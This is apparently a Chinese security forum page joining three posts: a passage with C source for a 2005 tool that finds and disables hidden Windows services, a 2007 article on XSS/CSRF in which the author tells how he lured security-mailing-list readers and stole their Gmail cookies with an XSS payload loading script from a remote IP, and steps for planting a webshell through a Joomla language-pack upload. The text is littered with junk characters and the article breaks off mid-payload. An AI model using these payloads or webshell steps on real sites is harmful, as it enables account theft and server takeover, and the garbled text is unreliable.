D_OFFS(o) ( (void *)&amp;(key->o)-(void *)hdesc->buffer-vofs )     改为  #define D_OFFS(o) ( (int *)&amp;(key->o)-(int *)hdesc->buffer-vofs )因为在VC中无法打印void * 类型,只得改为int * 。3.将程序中唯一的一处使用snprintf函数该为_snprintf,即snprintf(path,maxlen,"(...)%s",tmp);改为_snprintf(ptth,maxlen,”(…)%s”,tmp);4.添加两个VC不支持的函数来使编译通过void bzero(void *s,int n){     memset(s,0,n);       }int strncasecmp(const char *s1, const char *s2, size_t n){return _stricmp(s1,s2);}    为了表示对Petter Nordahl-Hagen的尊重,我不再修改他的库文件ntreg.c和ntreg.h(除了以上移植的需要),而是将所有需要重写和添加的函数放到KHS.C文件中,这样可以使原来的库文件保持其独立性。    由于在Petter库中openHive函数使用open 和 read 函数来进行hive文件的读取,在VC条件下的read函数有一个问题,每当文件中存在一个0x1a的二进制数值时,read函数就会在那儿终止,这样就会导致hive文件无法完全导入。所以就使用了Windows API重写openHive,命名为My_openHive。相应的还重写了closeHive,writeHive并加上了前缀My_。    随后GetPatterns函数将使用RegEnumKey枚举的服务键值名称保存在pattern的全局变量指针中,为以后的匹配作准备。ShowHideService函数是由nk_ls函数改写的,将由Hive文件导出的buffer中的服务名称与pattern[I]作比较,这个比较过程使用CompareHive函数。若比较结果为相同,CompareHive会将pattern[I]置为NULL,以提高匹配速度,或许有更好的匹配算法,但在这个小程序中也不使用了。若结果不同,则说明该服务是隐藏的,显示出该隐藏服务的名称,文件路径(ShowPathImage是由cat_vk改写的),启动类型和服务类型,并将该隐藏服务的启动类型改为SERVICE_DISABLED。如果存在隐藏服务并且禁止了该隐藏服务(仅在buffer中的修改),通过调用My_writeHive将修改过的hive 的buffer保存在C:        mp2.hiv文件中,此时提供用户一个选择“是否要禁用隐藏服务”,默认的选择是“否”,如果用户确实想要禁用,可输入“Yes”或“Y",接着使用RestoreServiceInfo函数将C:        mp2.hiv文件导回原来的%SystemRoot%/System32/Config/System这个Hive文件中,这一步由系统自己来完成,值得一提的是Win32函数RegRestoreKey即使在dwFlags参数中使用了REG_FORCE_RESTORE (8) ,在第一次调用时往往会错误返回,一般在第二次调用就会成功,所以就使用了一个循环直到它成功后为止,并且调用它的进程需要有SE_RESTORE_NAME的权限。    至于让隐藏服务真正失去作用,仍然需要重新启动计算机之后。下面给出KHS.C的完整源代码:/* * KHS.cpp - Kill Hide Services v0.1* Copyright (c) 2005 linux2linux.** It takes notes from knlsc and FHS.* Thank you, Petter Nordahl-Hagen, for your "NT Registry Hive access library"** Freely distributable in source or binary for noncommercial purposes.*  * THIS SOFTWARE IS PROVIDED BY PETTER NORDAHL-HAGEN `AS IS'' AND* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE* ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF* SUCH DAMAGE.**/         #include "ntreg.h"#include <windows.h>char **pattern;int pattern_count;int nohideservice;int ischange;extern char *val_types[REG_MAX+1];struct hive *My_openHive(char *filename, int mode);void My_closeHive(struct hive *hdesc);int CompareHive(char *sample){      int i;      for(i = 0; i < pattern_count ; i++)      {                     if(pattern!=NULL)           {                 if( strcmp ( sample , pattern[ i ] ) == 0 )                 {                      free(pattern);                      pattern=NULL;                      return 1;                 }           }      }      return 0;}//Because read can't work well in windows.//while it read 0x1a from the opened file, the function read will stop there.//I don't know the reason why, it work well in linux envoriment.// read the dumped hive file to fill hive struct.// return the pointstruct hive *My_openHive(char *filename, int mode){  HANDLE hFile;  int szread;  struct hive *hdesc;  int vofs;  unsigned long pofs;  char *c;  struct hbin_page *p;  struct regf_header *hdr;  int verbose = (mode &amp; HMODE_VERBOSE);  CREATE(hdesc,struct hive,1);  hdesc->filename = str_dup(filename);  hdesc->state = 0;  hdesc->size = 0;  hdesc->buffer = NULL;    hFile = CreateFile(hdesc->filename,        GENERIC_READ,                 // open for reading     0,                            // do not share     NULL,                         // no security     OPEN_ALWAYS,                // existing file only     FILE_ATTRIBUTE_NORMAL,        // normal file     NULL);                                   // no attr. template   if (hFile == INVALID_HANDLE_VALUE)   {     printf("Could not open hive file.");  // process error       return 0;  }    /* Read the whole file */  hdesc->size = GetFileSize(hFile,  NULL);  ALLOC(hdesc->buffer,1,hdesc->size);  ReadFile(hFile, (void *)hdesc->buffer, hdesc->size, &amp;szread, NULL);  CloseHandle(hFile);  if (szread < hdesc->size) {    printf("Could not read file, got %d bytes while expecting %d, C/ ~; O$ {# W& u( Z; s8 Q
",          szread, hdesc->size);    My_closeHive(hdesc);    return(NULL);  }  /* Now run through file, tallying all pages */  /* NOTE/KLUDGE: Assume first page starts at offset 0x1000 */   pofs = 0x1000;   hdr = (struct regf_header *)hdesc->buffer;   if (hdr->id != 0x66676572) {     printf("openHive(%s): File does not seem to be a registry hive!4 o3 P. i% s9 O' {8 ]* z
",filename);     return(hdesc);   }   for (c = hdr->name; *c &amp;&amp; (c < hdr->name + 64); c += 2) putchar(*c);   hdesc->rootofs = hdr->ofs_rootkey + 0x1000;     while (pofs < hdesc->size) {#ifdef LOAD_DEBUG          if (verbose) hexdump(hdesc->buffer,pofs,pofs+0x20,1);#endif     p = (struct hbin_page *)(hdesc->buffer + pofs);     if (p->id != 0x6E696268) {       printf("Page at 0x%lx is not 'hbin', assuming file contains garbage at end",pofs);       break;     }     hdesc->pages++;#ifdef LOAD_DEBUG     if (verbose) printf("
# k' }# g% {& M- f& V, O7 j( M" S' k###### Page at 0x%0lx has size 0x%0lx, next at 0x%0lx ######
3 x4 b* a5 _  F6 \- w2 W: @",pofs,p->len_page,p->ofs_next);#endif     if (p->ofs_next == 0) {#ifdef LOAD_DEBUG       if (verbose) printf("openhive debug: bailing out.. pagesize zero!
1 l1 d# s# `! t* B6 a( F& p2 C3 U5 |");#endif       return(hdesc);     }#if 0     if (p->len_page != p->ofs_next) {#ifdef LOAD_DEBUG       if (verbose) printf("openhive debug: len &amp; ofs not same. HASTA!
6 q  K& ~# i& U& I5 i  H. S& R. g");#endif       exit(0);     }#endif     vofs = pofs + 0x20; /* Skip page header */#if 1     while (vofs-pofs < p->ofs_next) {       vofs += parse_block(hdesc,vofs,verbose);     }#endif     pofs += p->ofs_next;   }  return(hdesc);}void My_closeHive(struct hive *hdesc){  FREE(hdesc->filename);  FREE(hdesc->buffer);  FREE(hdesc);}int My_writeHive(struct hive *hdesc){  HANDLE hFile;  DWORD dwBytesWritten;  hFile = CreateFile("C:\tmp2.hiv",      GENERIC_WRITE,                // open for writing     0,                            // do not share     NULL,                         // no security     CREATE_ALWAYS,                  // open or create     FILE_ATTRIBUTE_NORMAL,        // normal file     NULL);   if(hFile == INVALID_HANDLE_VALUE)  {      printf("Can't open dump file");           return 0;  }  WriteFile(hFile, hdesc->buffer, hdesc->size,&amp;dwBytesWritten, NULL);   if(dwBytesWritten != hdesc->size)  {        printf("WriteHive error
* A; y  G! x8 f& y) V3 Y; T+ L");  }  CloseHandle(hFile);  return 0;}void CleanPatterns(){      int i;      if(pattern!=NULL)      {           for(i = 0; i < pattern_count; i++)           {                 if(pattern!=NULL)                      free(pattern);           }           free(pattern);      }}void GetPatterns(){      HANDLE hService;      CHAR     achKey[MAX_PATH];      DWORD i;      DWORD retCode;      int Nohide = 1;      DWORD SubKeyNum = 0;      pattern_count = 0;      if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS,// security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {               printf("sorry %d6 ?6 d  y  X& P+ r* u; ?' m6 T/ U
",GetLastError());           return;      }    RegQueryInfoKey( hService,        NULL,        NULL,        NULL,        &amp;SubKeyNum,        NULL,        NULL,        NULL,        NULL,        NULL,        NULL,        NULL);      //Before it don't work well , because i set the wrong premission of HKEY      //KEY_ALL_ACCESS is needed      if(SubKeyNum == 0)      {           printf("SubKey's Number is NULL, it's too strange.
4 K/ a1 U! I  D9 S/ r! {: J2 U");           return;      }      pattern = malloc(sizeof(char *) * SubKeyNum );      for (i = 0, retCode = ERROR_SUCCESS; retCode == ERROR_SUCCESS; i++)     {         retCode = RegEnumKey(                 hService,      // handle to key to query                 i,  // index of subkey to query                 achKey,  // buffer for subkey name                 MAX_PATH   // size of subkey name buffer                 );                   if (retCode == (DWORD)ERROR_SUCCESS)         {          //What i add to get pattern Services Table.              pattern[ pattern_count ] = strdup ( achKey ) ;              pattern_count++;        }       }       CloseHandle(hService);}void ShowPathImage(struct hive *hdesc, int nkofs, char *path){       void *data;  int len,i,type;  char string[SZ_MAX+1];  type = get_val_type(hdesc, nkofs, path);  if (type == -1) {    printf("No such value <%s>
$ c4 z6 k8 u, Q- X/ z",path);    return;  }  len = get_val_len(hdesc, nkofs, path);  if (!len) {    printf("Value <%s> has zero length
$ D/ u) N3 }% ~3 A/ N6 Y",path);    return;  }  data = (void *)get_val_data(hdesc, nkofs, path, 0);  if (!data) {    printf("Value <%s> references NULL-pointer (bad boy!)( B: Q, {* f, C2 T
",path);    abort();    return;  }  switch (type) {  case REG_SZ:  case REG_EXPAND_SZ:  case REG_MULTI_SZ:    cheap_uni2ascii(data,string,len);    for (i = 0; i < (len>>1)-1; i++) {      if (string == 0) string = '9 O( |( ^3 s4 M3 x8 M  T5 r- d
';      if (type == REG_SZ) break;    }    puts(string);    break;  case REG_DWORD:    printf("0x%08x",*(unsigned short *)data);    break;  default:    printf("Don't know how to handle type yet!+ [" k2 L# W# T5 f+ V
");  case REG_BINARY:    hexdump((char *)data, 0, len, 1);  }}void EnablePriv(LPCTSTR lpName){      HANDLE hToken;      LUID sedebugnameValue;      TOKEN_PRIVILEGES tkp;            if ( ! OpenProcessToken( GetCurrentProcess(),           TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken ) )      {    printf("open process error
& B4 t6 Z/ S8 ]6 A5 W" \");           return;      }      if ( ! LookupPrivilegeValue( NULL, lpName  , &amp;sedebugnameValue ) ){                 printf("can't find privilege error
( ^/ D9 `3 q- y5 f" w");           CloseHandle( hToken );           return;      }      tkp.PrivilegeCount = 1;      tkp.Privileges[0].Luid = sedebugnameValue;      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;      if ( ! AdjustTokenPrivileges( hToken, FALSE, &amp;tkp, sizeof (tkp), NULL, NULL ) )      {           printf("adjust error
$ ]4 L1 W2 G5 }" I$ c$ J");           CloseHandle( hToken );      }}int DumpServiceInfo(){      HKEY hService;      EnablePriv(SE_BACKUP_NAME);      if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS, // security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {    printf("can't get key handle
  P% P8 }) L6 [  _( m* Z");           return 0;      }      if(RegSaveKey(hService,"C:\tmp.hiv",NULL) != ERROR_SUCCESS)      {               printf("Can't dump Service info, |0 e- t0 e2 V9 g2 f" ^
");           CloseHandle(hService);           return 0;      }      CloseHandle(hService);      return 1;}void ShowHideService(struct hive *hdesc, char *path, int vofs, int type){  struct nk_key *key;  int nkofs;  struct ex_data ex;  int count = 0, countri = 0;  //wHAT I ADD  void *data;  int nkofs_cat;  int serviceno;        serviceno = 1;  nkofs = trav_path(hdesc, vofs, path, 0);  if(!nkofs) {    printf("nk_ls: Key <%s> not found5 }2 Y  F4 d6 z0 `: L4 h
",path);    abort();    return;  }  nkofs += 4;  key = (struct nk_key *)(hdesc->buffer + nkofs);  if (key->id != 0x6b6e) {    printf("Error: Not a 'nk' node!
2 B& x# ~) e& `! s4 d3 c");    debugit(hdesc->buffer,hdesc->size);  }     if (key->no_subkeys) {        while ((ex_next_n(hdesc, nkofs, &amp;count, &amp;countri, &amp;ex) > 0)) {             if(!CompareHive(ex.name) )             {                   nohideservice = 0;                   if(!(serviceno - 1))                        printf("Hide Service List:
# ~7 ~2 I3 H* Y+ J");                    printf("
# K- o% f0 D" L, S) {. J%d.------------------------------------------------------------- S  N( g% T$ k* d' h. o- E
",serviceno++ );                   printf("Hide Service : %s
; C) E2 \" ?& Y, k. z6 K", ex.name );                   nkofs_cat = trav_path(hdesc, vofs, ex.name, 0);                   printf("Image Path   : ");                   ShowPathImage(hdesc, nkofs_cat + 4, "ImagePath");                   data = (void *) get_val_data(hdesc, nkofs_cat + 4, "Start", 0 );                   if( data != NULL)                   {                           printf("Start Type   : ");                        switch(*(unsigned short *)data)                         {                        case 0:                              printf("SERVICE_BOOT_START");                              break;                        case 1:                              printf("SERVICE_SYSTEM_START");                              break;                        case 2:                              printf("SERVICE_AUTO_START");                              break;                        case 3:                              printf("SERVICE_DEMAND_START");                              break;                        case 4:                              printf("SERVICE_DISABLED");                              break;                        default:                              printf("UNKOWN START TYPE");                        }                                                //disable the service                                                if( *(unsigned short *)data != 4 )                        {                              printf("(Will be set to Disabled)");                              put_dword(hdesc, nkofs_cat + 4, "Start", 4);                              ischange = 1;                        }                                                 printf("
+ w- b! }* V0 Z# S7 g: F+ l");                                           }                                      data = (void *) get_val_data(hdesc, nkofs_cat + 4, "Type", 0 );                   printf("Service Type : ");                   if( data != NULL)                   {                        if(*(unsigned short *)data &amp; 1)                             printf("SERVICE_KERNEL_DRIVER ");                                                      if(*(unsigned short *)data &amp; 2)                             printf("SERVICE_FILE_SYSTEM_DRIVER " );                                                  if(*(unsigned short *)data &amp; 8)                            printf("SERVICE_RECOGNIZER_DRIVER ");                                                    if(*(unsigned short *)data &amp; 16)                              printf("SERVICE_WIN32_OWN_PROCESS ");                                                   if(*(unsigned short *)data &amp; 32)                            printf("SERVICE_WIN32_SHARE_PROCESS ");                                                      if(*(unsigned short *)data &amp; 256)                            printf("SERVICE_INTERACTIVE_PROCESS ");                                                      printf("
4 p6 R! ?* `3 n7 R$ [");                    }             }             FREE(ex.name);    }  }  if(nohideservice)        printf("There are no hide services.
' t' z$ n' f0 ~$ x; C% t");  else        printf("
: ?$ N: t" E6 Z- y6 u& u! mTotal Hide Services is %d
1 _# n0 l6 g  `+ @+ V: G. f8 e: a5 D$ s1 X; g
",serviceno - 1);}int RestoreServiceInfo(){      HKEY hService;      LONG tmp;      EnablePriv(SE_RESTORE_NAME);            if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS,// security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {               printf("Can't open Service key
% z6 }1 D1 O' T. v");           return 0;      }      //The first time to Restore always fail even you set the Force flag      //The second time will success.      for(;;)      {                     if((tmp = RegRestoreKey(hService,"C:\tmp2.hiv", 8 ) ) == ERROR_SUCCESS )           {                 break;           }      }      CloseHandle(hService);      return 1;}int main(int argc, char* argv[]){      struct hive *pHive;      char c;      nohideservice = 1;      ischange = 0;      printf("KHS - kill hide services 0.1 by linux2linux, 2005/5/26.
  c( A% v0 L" ~+ Q8 K' O4 n2 m");      printf("Take notes from knlsc and FHS.                         . {+ Z* x: P# t
- y+ f/ v- g+ u: j, n
");             if(!DumpServiceInfo())           return 0;      pHive = My_openHive("C:\tmp.hiv",HMODE_RW);      if(pHive == NULL)      {           printf("Open Hive fail
8 z3 k  E" _; s7 @");           return 0;      }      GetPatterns();      ShowHideService(pHive,"",pHive->rootofs + 4 , 0);      CleanPatterns();      if(!nohideservice &amp;&amp; ischange )      {                 My_writeHive(pHive);                 printf("Do you want Disable the hide Services ( Yes / No )? [ No ]:");                 c = getchar();                 if( ( c == 'Y' )|| c == 'y')                 {                      if( RestoreServiceInfo() )                            printf("Success Restore
* U: U" h6 _$ s7 O; |. e# G");                 }                 else                 {    printf("Quit without Restore.4 k) P( x: G, T: l: t) {" r
");                 }                 DeleteFile("C:\tmp2.hiv");      }      DeleteFile("C:\tmp.hiv");      My_closeHive(pHive);            return 0;}参考资源1.The Offline NT Password Editor 源程序 - Petter Nordahl-Hagenhttp://home.eunet.no/~pnordahl/ntpasswd/2.<<Windows NT/2000 Native API Reference>> - Gary Nebbett3.Knlsc, FHS, IceSword 使用说明 / y' q$ A2 u, k
: H' q4 n3 f+ @2 u0 X& |2 C

, L( ^4 B" c& r- E  h
; Z5 Y( U( \1 r6 x, F8 @/ x
9 k0 [  q5 D& S# y% W- A( a1 }" e
8 t" e. y2 W; H9 }" T4 T

+ i% m( g- f0 O) ?% p0 S; O" l/ e7 A$ i5 d+ N" U& W! A

/ G. r6 f/ P5 l- G3 ?. O+ k5 F: K
' _& i' Q+ S; J) G! @! N9 G+ |. g' k  j: C& r" l% h9 I

# O. T: j9 {9 \# S/ z" y$ x3 R; F* r' {- j
* K' }: w, T6 Y

7 Y2 x3 i# S& }: ~" g" T" n: ?3 T0 n  {1 V. y5 B: A# Z9 W

3 e& N/ R% ~3 ]+ ^! w3 ?
- b% o, u% O+ j* x1 m公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

xss/csrf in penetration test
xss/csrf in penetration testauthor: superheidate: 2007-11-29team:http://www.ph4nt0m.orgblog:http://superhei.blogbus.com一.Owning Ha.ckers.org前段时间在Sirdarckcat和Kuza55一起"Owning Ha.ckers.org"中,就是利用xss等的攻击进行渗透[然后没有成功,但是里面的技术细节值得学习],具体技术细节请参考:1.Sirdarckcat的 blog:http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html2.rSnake的blog:http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/首先他们利用了以前rsnake用来测试xss的一个flash:http://ha.ckers.org/xss.swf [现在已经拒绝访问了],由于这个flash本身存在一个xss[Cross Site Flashing:请参考Stefano Di Paola的文档Testing Flash Applications],as2的代码like this:getURL("javascript:alert('xss')", "_self", "GET");stop();在"Flash Lite 2.x ActionScript 语言参考"里有这样的描叙http://livedocs.adobe.com/flashlite/2_cn/main/00000160.html:<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<getURL(url:String [, window:String [, method:String] ]) :Void.....method:String [可选] -- 用于发送变量的 GET 或 POST 方法。如果没有变量,则省略此参数。GET 方法将变量追加到 URL 的末尾,它用于发送少量的变量。POST 方法在单独的 HTTP 标头中发送变量,它用于发送大量的变量。<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<当我们指定第3个参数method:String 为get或者post,可以提交变量追加到url末尾,这个也就意味着getURL函数的url可以injection something :). 我们回到xss.swf 我们提交: xss.swf?a=0:0;eval(alert('xss'); as2里:getURL("javascript:alert('xss')?a=0:0;eval(alert('xss');", "_self", "GET");注意那个?和后面都加到了url的后面,Sirdarckcat使用js的一个3元条件a=0:0;巧妙的闭和了语句.demo: http://60.190.243.111/superhei/xss/xss.swf?a=0:0;eval(alert('xss2'));成功完成了xss.在Sirdarckcat的poc里使用的是:<iframe src="http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;" name="....[playload]"></iframe>这里他们认为rSnake使用ff+noscript,所以使用上面pass noscript,当然现在noscript已经修补了这个bug.a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;这个也就是eval(atob(window.name)).atob=decode base64这个又是他们的一个技巧,使用编码饶过一些检测 ..他的playload好象就是利用一个csrf发了一个blog? 具体没有去看wp的代码 :).在irc里我问过Sirdarckcat为什么他不用,得到cookie然后欺骗进后台,他说好象是后台可能禁止了他的ip登陆.在整个过程,Sirdarckcat和Kuza55利用了n个细节来达到目的,因为他们的目标也是一位xss的牛人,比如还先利用了css来取浏览器的访问历史,来判断目标是不是进过后台[利用css的目的是no script] 等等....二.Owning Some-Hacks's Gmail也是前段时间jx发现了google登陆口的一个xss: http://www.xfocus.net/articles/200711/957.html,在xf公布之前,我使用这个bug测试一下,结果我得到了国内很多搞安全的人的gmail的cookie :)xss点:https://www.google.com/accounts/ServiceLogin?service=mail&amp;rm=false&amp;continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&amp;passive=truel#"></sc'+'ript><scr'+'ipt src="http://60.190.243.111/superhei/ieav/gm.js"></scr'+'ipt>';alert(document.getElementById("f").src);document.getElementById("f").style.width = 0;document.getElementById("f").style.height = 0;</script></body></html>我的playload放在远程的一个js里:http://60.190.243.111/superhei/ieav/gm.js那么怎么让目标访问呢,哈哈,这里幻影的maillist帮了我一个大忙,maillist简直都是我测试的理想场所 .首先我在maillist发了一个phpcms的漏洞公告,里面的内容就是一个link:http://60.190.243.111/superhei/ieav/phpcms.htm,这里phpcms.htm里有我发现的phpcms漏洞的简单分析[由于只是测试,我没有发很引诱人的东西,如ie0day什么的,分析也写的很简单],当然也有我上面构造的xss的代码.我们看看真正的playload:http://60.190.243.111/superhei/ieav/gm.js的代码:getURL("
- j  q5 P$ L8 M& S" n3 P; O6 S; e3 b( j8 s, b# ~
/ j# [7 n5 u1 L+ B* _
* l+ U3 k- ~5 P* o2 E

7 j0 T. X- ?0 j8 B- u
% \4 x7 P' ~9 H+ S4 p6 J
8 n$ R: F- f1 K& b# k& M3 N
, t. t: i$ V5 r
3 F& l2 l! _4 y- N! O7 W. }3 R" {8 P/ x! w8 J- w

( Y9 `- {0 G& b, |0 y4 e/ h. e2 i
) K; R+ f- l+ o1 K
4 H4 m9 W6 f, g7 t8 P
; a. p1 I' e! ^* ~/ ?6 c$ I0 p2 k" U/ p- z$ A
! w! a# L$ z6 w, K

0 a' A* M, C7 I# [0 |) T9 Q9 y* I( [# Z
0 l" i# C# Y3 r& }- I  _' s
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

joomla CMS所有版本后台取WebShell方法
后台有个专门更新插件的接口,只支持上传ZIP文件。

7 a% K0 A( n" X: ?! Y( F9 z' T
下载了一个中文语言包ZIP格式的,解压出来如下:
% q# X1 c) H0 D7 i
pkg_zh_CN.xml 代码如下:

, t$ [0 m: O- ]8 n1 P; G
<?xml version="1.0" encoding="UTF-8" ?>
. C( x1 A$ b: u! h<!-- $Id: zh-CN.install.xml 216 2011-03-08 06:44:51Z tchyusuf $ -->
* j" H% r. Z$ t) k<extension type="package" version="1.6">- C4 A  k6 e% N+ v2 Y
      <name>Simplified Chinese Language Pack</name>- z" {' \2 {0 D. b/ S! `
        <tag>zh-CN</tag>
- l5 x9 C7 \- n4 w) Z, q! j      <packagename>zh-CN</packagename>
4 E6 K- c. V5 \% h      <version>1.6.1</version>" d6 i9 P" q1 F3 G
        <creationDate>2011-03-12</creationDate>4 k6 L# Y* ?2 L" ]) k7 l
        <author>CHN Translation Team</author>6 A, ^8 z; K$ X
        <authorEmail>zhous1998@sohu.com</authorEmail>7 U* _4 F: T  A0 V' [- a; g7 \
        <authorUrl>www.joomla.cn</authorUrl>4 O# ]7 C0 m( J; a% z3 V) S
        <copyright>Copyright (C) 2010 CHN Joomla Translation Team  

# \5 v+ M( ?6 z; q. `) m! U
(http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>
" j: O6 e3 p$ [- [        <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>* o: i4 p1 A6 z$ J  t$ t
        <description>
! A3 w8 _% [5 X, F6 S        </description>
7 w! w) K9 V5 N# [  <files>
8 }5 Z9 v0 B! Y$ Z        <file type="language" client="site" id="zh-CN">site_zh-CN.zip</file>: c2 v: L1 p( F0 _! X7 q" h* G; l
        <file type="language" client="admin" id="zh-CN">admin_zh-CN.zip</file>& v/ A( f0 @! A+ p3 m. k7 h9 ]) |: `0 N
  </files>
9 ]4 b+ k" u: Y! m  o- @% A</extension># l8 B8 ^5 W; ?0 _+ m
9 L* Y  Z' d0 x6 b- G
升级或者更新插件读取XML里面的 site_zh-CN.zip 和 admin_zh-CN.zip3 Y2 s8 s- t# C# U* ]( Q
解压 admin_zh-CN.zip install.xml 里面的代码:

7 W8 K+ \9 U4 e; C/ u
install.xml:

4 B& \6 ^, ^6 s% G% Q/ g! i+ w3 T2 g
<?xml version="1.0" encoding="utf-8"?>
; _4 ^1 I/ I- Z& F<install type="language" version="1.6" client="administrator" method="upgrade">
' C8 m: X. h& S0 M0 S7 r; ?# ]        <name>简体中文</name># S  k9 D8 K5 A0 a3 e5 I& Z7 J
        <tag>zh-CN</tag>
3 N( X% S; r: N8 h2 w        <version>1.6.1</version>) u+ B8 K* ?' ^2 H* U4 A. ?
        <creationDate>2011-03-08</creationDate>
1 [4 C) q9 L3 x' \& Y% m5 V        <author>Derek Joe(zhous)</author>
4 O- R. s  k$ W* P        <authorEmail>zhous1998@sohu.com</authorEmail>
$ l- `( X, g* F- a9 g* L        <authorurl>www.joomla.cn</authorurl>
( R9 C* r6 {( ^$ H0 `3 T        <copyright>Copyright (C) 2010 CHN Joomla Translation

1 u3 z; t$ y- _) C/ A' x) x' y! z
(http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>
: u* b7 G& E4 [+ c3 e7 |        <license>GNU General Public License version 2 or later; see LICENSE.txt</license>4 T; W0 j5 N+ |: q9 @
        <description>
0 [) k: _3 X" ?4 u+ h) z        </description>

8 \) z' A; b7 O2 n) {9 l
        <files>
" Q+ ]  x- m2 X& n3 x! @- d                <filename>index.html</filename>
/ ~# t/ w8 X6 V7 j. }! c                <filename>zh-CN.com_admin.ini</filename>
& t+ o" _; `& C                <filename>zh-CN.com_admin.sys.ini</filename>
% U" [( `: v# p4 M! y( S                <filename>zh-CN.com_banners.ini</filename>
7 X/ y8 M  S0 }4 ]. Z. H* J# ]                <filename>zh-CN.com_banners.sys.ini</filename>
; e, X8 E# K" p5 y9 k                <filename>zh-CN.com_cache.ini</filename>5 u. V! v2 p  u
                <filename>zh-CN.com_cache.sys.ini</filename>8 w) g7 r$ T) y) B
                <filename>zh-CN.com_categories.ini</filename># B' J* h- f: ^/ c/ w' Y
                <filename>zh-CN.com_categories.sys.ini</filename>
1 s' C1 v, A& z3 a- {3 D                <filename>zh-CN.com_checkin.ini</filename>$ ?  T. H: u. Y
                <filename>zh-CN.com_checkin.sys.ini</filename>
* U" f- g5 _8 e8 @( G                <filename>zh-CN.com_config.ini</filename>
& @6 i: z* W( Q3 ^                <filename>zh-CN.com_config.sys.ini</filename>
/ h8 ?/ Q) o- c' \/ v( i' G- w                <filename>zh-CN.com_contact.ini</filename>+ m0 T' u- M5 _/ n3 d4 b' X9 s* `
                <filename>zh-CN.com_contact.sys.ini</filename>! I0 \# h, e% k
                <filename>zh-CN.com_content.ini</filename>
+ j) C% q3 \6 V$ ^) Z- j                <filename>zh-CN.com_content.sys.ini</filename>
  X: A  w- @3 w% C9 X* _9 t. ~5 b                <filename>zh-CN.com_cpanel.ini</filename>0 B. r% F' ?7 C1 Z+ u- d

- Z. q/ \( l. B0 Y9 v# f在代码下面加上:
% P, A' z9 ^! P& p5 r# L# Z9 b3 b
<filename>>xxxxxx.php</filename>
+ q" l5 r/ C" @
然后再里面创建一个 xxxxxx.php 写上你的大马,打包记得一下要是ZIP文件,否则不能上传。
7 Z+ l" W  q& p3 a. c% Y! P) Y; F- M  B
替换掉原来的 admin_zh-CN.zip,然后再进行打包 site_zh-CN.zip 和 admin_zh-CN.zip。上传安装,你
, _& ~" ~; c0 F3 A: r7 E* I
的 xxxxxx.php 会解压到目录:

2 u* ~, g4 g# b  R, Q# s( w
administratorlanguagezh-CN

' p# B$ }- j6 M, d, ?9 e+ o3 J! A
得到 WebShell 的地址:
9 P) t; Y$ |. c- }0 o' d
http://www.sitedirsec.com/administrator/language/zh-CN/xxxxxx.php
3 ^  z& _; {8 N' w% j+ H, f9 X  f
1 S% e2 y" \3 Q( l; |, I+ N, L
: m; ~6 e( z/ H+ Q6 l# M8 h6 |

5 N3 N+ c2 Q% X  [7 z% z* f! b& }  y* U+ u# r, T

; b* s/ w7 r6 `8 N7 k+ T: M! }- M) ?0 Z4 h/ r
( `+ o0 @. [" {, P. |6 l

) Z' p" C' y6 ]; W$ ]: e' Q5 y* h' J2 h; N8 _

7 X: U! D. h5 P3 d; q: U$ n" B2 w7 O7 Q! `! x) `

  \7 S# u; d$ {' c8 I* Y
% r# q  w2 F8 m, i9 a7 o) F0 u) c7 g" k; m) e: ?
  N1 Z. u: E6 M
# R: z6 Z. G! ~

6 K$ o2 c; |' c! q3 Q% Q. z# f1 Y3 p; {) F3 u6 g
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表